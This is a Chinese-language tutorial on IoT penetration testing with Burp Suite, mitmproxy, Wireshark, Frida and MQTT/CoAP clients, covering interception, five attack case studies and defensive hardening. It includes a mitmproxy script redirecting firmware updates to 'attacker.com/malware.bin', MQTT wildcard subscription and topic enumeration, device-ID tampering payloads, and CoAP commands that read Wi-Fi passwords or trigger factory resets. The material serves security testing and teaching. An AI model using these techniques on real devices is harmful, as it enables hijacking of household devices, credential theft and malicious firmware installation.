Burp Suite物联网渗透测试实战指南:从HTTP到MQTT/CoAP的全面攻防

概述

随着物联网(IoT)设备的普及,安全测试变得日益重要。Burp Suite作为Web应用安全测试的瑞士军刀,在IoT渗透测试中同样发挥着关键作用。本文将深入解析如何利用Burp Suite进行IoT协议渗透测试,并提供具体实战案例。

一、IoT通信架构与测试策略

1.1 IoT典型通信架构

text

复制代码
App ←→ 云端服务器 ←→ 设备
    │         │
    └─ HTTP/WebSocket
        MQTT/CoAP

1.2 Burp Suite在IoT测试中的定位

  • 主要拦截:App与云端之间的HTTP/HTTPS流量

  • 间接分析:通过旁路方法处理非HTTP协议

  • 关键作用:认证机制分析、API漏洞挖掘、固件安全测试

二、常用协议解析与Burp拦截方法

2.1 HTTP/HTTPS协议(最常用)

📌 适用场景
  • App与云服务器通信

  • 固件OTA更新

  • 设备管理接口

🔧 Burp拦截配置

bash

复制代码
# 配置代理
Burp Proxy → Options → Proxy Listeners
添加:0.0.0.0:8080

# 手机配置(一般需root)
Wi-Fi → 手动代理 → 设置Burp IP和端口
安装Burp CA证书

2.2 WebSocket协议(实时控制)

📌 适用场景
  • 智能灯光控制

  • 实时状态推送

  • 视频流信令传输

🔧 Burp分析方法
  1. 正常配置HTTP代理

  2. 在Proxy → WebSockets history中查看流量

  3. 使用Repeater进行重放测试

🎯 实战技巧

json

复制代码
// 原始WebSocket帧
{"cmd":"setTemperature","value":25,"token":"xyz123"}

// 修改测试
{"cmd":"setTemperature","value":100,"token":"xyz123"}
// 测试:1. token有效性 2. 值范围检查 3. 重放攻击

2.3 MQTT协议拦截方案

🟢 场景1:MQTT over WebSocket(Burp直接支持)

text

复制代码
配置:wss://iot.example.com:8084/mqtt
Burp可直接拦截、修改、重放MQTT消息

Burp → Proxy → WebSockets → 能看到所有 MQTT 帧(Base64 / JSON / 二进制)

🟡 场景2:原生MQTT(TCP 1883/8883)
方法A:mitmproxy TCP拦截

python

复制代码
# mitmproxy脚本:mqtt_intercept.py
from mitmproxy import tcp

def tcp_message(flow: tcp.TCPFlow):
    message = flow.messages[-1]
    
    # MQTT连接识别(前4字节)
    if len(message.content) > 4:
        packet_type = (message.content[0] & 0xF0) >> 4
        if packet_type == 1:  # CONNECT
            print("MQTT CONNECT包")
        elif packet_type == 3:  # PUBLISH
            print(f"PUBLISH主题长度: {message.content[3]}")
    
    # 修改MQTT消息
    if b"turnOff" in message.content:
        modified = message.content.replace(b"turnOff", b"turnOn")
        message.content = modified

启动命令:

bash

复制代码
mitmproxy --mode transparent --scripts mqtt_intercept.py
方法B:tcpdump + Wireshark组合

bash

复制代码
# 在IoT网关或AP上抓包
tcpdump -i eth0 -w mqtt_traffic.pcap tcp port 1883 or port 8883

# 使用Wireshark分析
# 过滤: mqtt
# 可查看:CONNECT、PUBLISH、SUBSCRIBE报文

2.4 CoAP协议拦截方案

🔍 CoAP协议特点
  • 基于UDP 5683/5684端口

  • RESTful风格,类似HTTP

  • 支持观察者模式(Observe)

🛠 拦截方法
方法1:tcpdump + Wireshark

bash

复制代码
# 抓取CoAP流量
tcpdump -i wlan0 -s 0 -w coap.pcap udp port 5683 or port 5684

# Wireshark分析技巧
# 过滤:coap
# 可查看:GET/POST/PUT/DELETE方法、Token、Message ID
方法2:CoAP客户端工具主动测试

bash

复制代码
# 使用libcoap工具
coap-client -m get coap://192.168.1.100/temperature
coap-client -m post -e '{"cmd":"on"}' coap://192.168.1.100/light

# 使用aiocoap(Python)
python -m aiocoap.cli get coap://192.168.1.100/.well-known/core
方法3:Frida Hook CoAP实现

javascript

复制代码
// 针对Android CoAP库的Hook
Java.perform(function() {
    var CoapClient = Java.use("org.eclipse.californium.core.CoapClient");
    
    CoapClient.get.implementation = function() {
        console.log("[CoAP GET] URI: " + this.getURI());
        return this.get();
    };
    
    CoapClient.post.implementation = function(payload, contentType) {
        console.log("[CoAP POST] Payload: " + payload);
        return this.post(payload, contentType);
    };
});

三、实战渗透测试案例

案例1:越权控制设备(HTTP API)

测试步骤
  1. 正常抓取控制请求

    text

    复制代码
    POST /api/v1/device/control
    Authorization: Bearer eyJ0eXAi...
    Content-Type: application/json
    
    {"device_id":"DEV001","command":"turn_on"}
  2. 修改测试

    json

    复制代码
    // 测试1:删除Token
    {"device_id":"DEV002","command":"unlock"}
    
    // 测试2:修改device_id
    {"device_id":"DEV999","command":"admin_reset"}
    
    // 测试3:遍历device_id(使用Intruder)
    {"device_id":"§DEV001§","command":"status"}

案例2:OTA固件升级劫持

测试流程
具体操作
  1. 拦截固件更新请求

    http

    复制代码
    GET /firmware/update?device_type=smart_camera&current_ver=1.2.3
    
    Response:
    {
      "latest_version": "1.3.0",
      "download_url": "https://cdn.iot.com/fw/camera_v130.bin",
      "sha256": "a1b2c3...",
      "signature": "RSA_SIGNATURE_BASE64"
    }
  2. 测试签名绕过

    python

    复制代码
    # 使用mitmproxy脚本修改响应
    def response(flow):
        if "firmware/update" in flow.request.path:
            import json
            data = json.loads(flow.response.content)
            data["download_url"] = "http://attacker.com/malware.bin"
            # 测试1:不修改签名
            # 测试2:删除签名字段
            # 测试3:修改哈希值
            flow.response.text = json.dumps(data)

案例3:WebSocket实时控制漏洞

测试场景:智能家居控制系统
  1. 建立WebSocket连接

    javascript

    复制代码
    // 连接建立
    ws://iot-hub.local:8080/control
    
    // 认证消息
    {"type":"auth","token":"user_token","device_id":"light_01"}
    
    // 控制消息
    {"type":"control","command":"brightness","value":50}
  2. 安全测试点

    • 消息重放:捕获控制消息多次发送

    • 参数篡改:修改value为超出范围的值

    • 设备越权:修改device_id控制其他设备

    • 认证绕过:删除token字段测试

  3. Burp测试方法

    text

    复制代码
    1. Proxy → WebSockets history 查看流量
    2. 右键消息 → Send to Repeater
    3. 修改参数重放测试
    4. 使用Intruder进行暴力测试

案例4:MQTT主题枚举与订阅

测试步骤
  1. 识别MQTT主题模式

    text

    复制代码
    # 常见主题模式
    devices/{device_id}/control
    users/{user_id}/devices/+
    sensors/+/temperature
  2. 使用mqtt-fx进行主题枚举

    bash

    复制代码
    # 订阅所有主题(谨慎使用)
    mosquitto_sub -h iot.example.com -t "#" -v
    
    # 枚举设备主题
    for i in {1..100}; do
      mosquitto_sub -h iot.example.com -t "devices/device_$i/status" &
    done
  3. 漏洞利用场景

    • 订阅其他用户设备状态

    • 向控制主题发布恶意指令

    • 拦截敏感数据(GPS位置、传感器数据)

案例5:CoAP资源发现与未授权访问

测试流程

bash

复制代码
# 1. 发现CoAP资源
coap-client -m get coap://192.168.1.100/.well-known/core

# 响应示例
</sensors/temp>;ct=0,
</sensors/humid>;ct=0,
</config/wifi>;ct=0,
</admin/reboot>;ct=0

# 2. 测试敏感接口
coap-client -m get coap://192.168.1.100/config/wifi
# 可能返回:{"ssid":"HomeNet","psk":"MyPassword123"}

# 3. 控制接口测试
coap-client -m post -e 'factory_reset' coap://192.168.1.100/admin/reboot
安全风险
  1. 信息泄露:Wi-Fi密码、设备密钥

  2. 未授权控制:重启、恢复出厂设置

  3. 拒绝服务:重复调用资源消耗型接口

四、IoT渗透测试最佳实践流程

4.1 工具链配置

基础工具栈

yaml

复制代码
抓包分析:
  - Burp Suite Professional
  - mitmproxy
  - Wireshark
  
协议测试:
  - MQTT: mqtt-fx, mosquitto_clients
  - CoAP: coap-client, aiocoap, Copper插件
  - WebSocket: websocat, wscat

移动端Hook:
  - Frida
  - Objection
  - Jadx/Ghidra

设备分析:
  - binwalk (固件解包)
  - QEMU (模拟执行)
  - GDB (调试)
自动化测试脚本示例

python

复制代码
# iot_auto_test.py - 自动化IoT接口测试
import requests
import json
import time
from websocket import create_connection

class IoTFuzzer:
    def __init__(self, base_url, token=None):
        self.base_url = base_url
        self.token = token
        self.session = requests.Session()
        
    def test_http_endpoints(self):
        # 测试HTTP接口常见漏洞
        endpoints = [
            '/api/device/list',
            '/api/device/control',
            '/api/config/get',
            '/api/ota/check'
        ]
        
        for endpoint in endpoints:
            self.fuzz_parameters(endpoint)
            self.test_auth_bypass(endpoint)
            self.test_idor(endpoint)
    
    def test_websocket_control(self, ws_url):
        # WebSocket控制测试
        ws = create_connection(ws_url)
        
        # 测试消息
        test_payloads = [
            '{"cmd":"reset"}',
            '{"cmd":"admin","action":"reboot"}',
            '{}',  # 空消息
            'A' * 1000  # 长消息
        ]
        
        for payload in test_payloads:
            ws.send(payload)
            response = ws.recv()
            print(f"Payload: {payload[:50]}... -> Response: {response}")
        
        ws.close()

五、防御建议与安全开发规范

5.1 协议层安全加固

MQTT安全配置

yaml

复制代码
# mosquitto.conf 安全配置示例
allow_anonymous false  # 禁用匿名访问
password_file /etc/mosquitto/passwd
acl_file /etc/mosquitto/acl

# TLS配置
listener 8883
certfile /path/to/cert.pem
keyfile /path/to/key.pem
require_certificate true

# 主题权限控制
pattern read $SYS/#
pattern write devices/%u/control
CoAP安全实践

c

复制代码
// DTLS配置示例(Contiki-NG)
#define COAP_DTLS_PSK_DEFAULT_IDENTITY "device001"
#define COAP_DTLS_PSK_DEFAULT_KEY { 0x01, 0x02, ... }

// 资源访问控制
RESOURCE(config, "title=\"Config\";rt=\"json\"",
         get_config, NULL, NULL, NULL,
         COAP_RESOURCE_FLAGS_SECURE);

5.2 应用层安全控制

1. 认证与授权

python

复制代码
# Django示例 - 设备访问控制
class DevicePermission(permissions.BasePermission):
    def has_object_permission(self, request, view, obj):
        # 验证用户与设备绑定关系
        return obj.owner == request.user or \
               request.user.has_perm('manage_all_devices')
2. 请求签名验证

python

复制代码
# HMAC签名验证示例
def verify_signature(request_data, api_secret):
    # 获取签名参数
    timestamp = request_data.get('timestamp')
    nonce = request_data.get('nonce')
    signature = request_data.get('signature')
    
    # 构造签名字符串
    sign_string = f"{timestamp}{nonce}{json.dumps(request_data['payload'])}"
    
    # 计算HMAC
    expected = hmac.new(api_secret.encode(), 
                       sign_string.encode(), 
                       hashlib.sha256).hexdigest()
    
    return hmac.compare_digest(expected, signature)
3. 固件安全更新

python

复制代码
# 固件签名验证流程
def verify_firmware_signature(firmware_data, public_key):
    # 分离固件和签名
    signature = firmware_data[-256:]  # RSA 2048签名
    firmware = firmware_data[:-256]
    
    # 验证签名
    from cryptography.hazmat.primitives import hashes
    from cryptography.hazmat.primitives.asymmetric import padding
    
    public_key.verify(
        signature,
        firmware,
        padding.PSS(
            mgf=padding.MGF1(hashes.SHA256()),
            salt_length=padding.PSS.MAX_LENGTH
        ),
        hashes.SHA256()
    )
    
    return True
相关推荐
2501_916008893 小时前
iOS 能耗检测的工程化方法,构建多工具协同的电量分析与性能能效体系
android·ios·小程序·https·uni-app·iphone·webview
真实的菜3 小时前
TDengine实战:构建高性能物联网时序数据存储方案
大数据·物联网·tdengine
2501_915921434 小时前
重新理解 iOS 的 Bundle Id 从创建、管理到协作的工程策略
android·ios·小程序·https·uni-app·iphone·webview
2501_915106324 小时前
当 altool 退出历史舞台,iOS 上传链路的演变与替代方案的工程实践
android·ios·小程序·https·uni-app·iphone·webview
TDengine (老段)4 小时前
TDengine 查询引擎设计与最佳实践
大数据·数据库·物联网·时序数据库·iot·tdengine·涛思数据
云山工作室4 小时前
基于物联网的体温心率监测系统设计(论文+源码)
stm32·单片机·嵌入式硬件·物联网·课程设计
00后程序员张4 小时前
Transporter 的局限与替代路径,iOS 上传流程在多平台团队中的演进
android·ios·小程序·https·uni-app·iphone·webview
乐迪信息4 小时前
乐迪信息:AI摄像机+反光衣佩戴检测,保障智慧煤矿人员作业安全
大数据·运维·人工智能·物联网·安全
00后程序员张4 小时前
Python 抓包工具全面解析,从网络监听、协议解析到底层数据流捕获的多层调试方案
开发语言·网络·python·ios·小程序·uni-app·iphone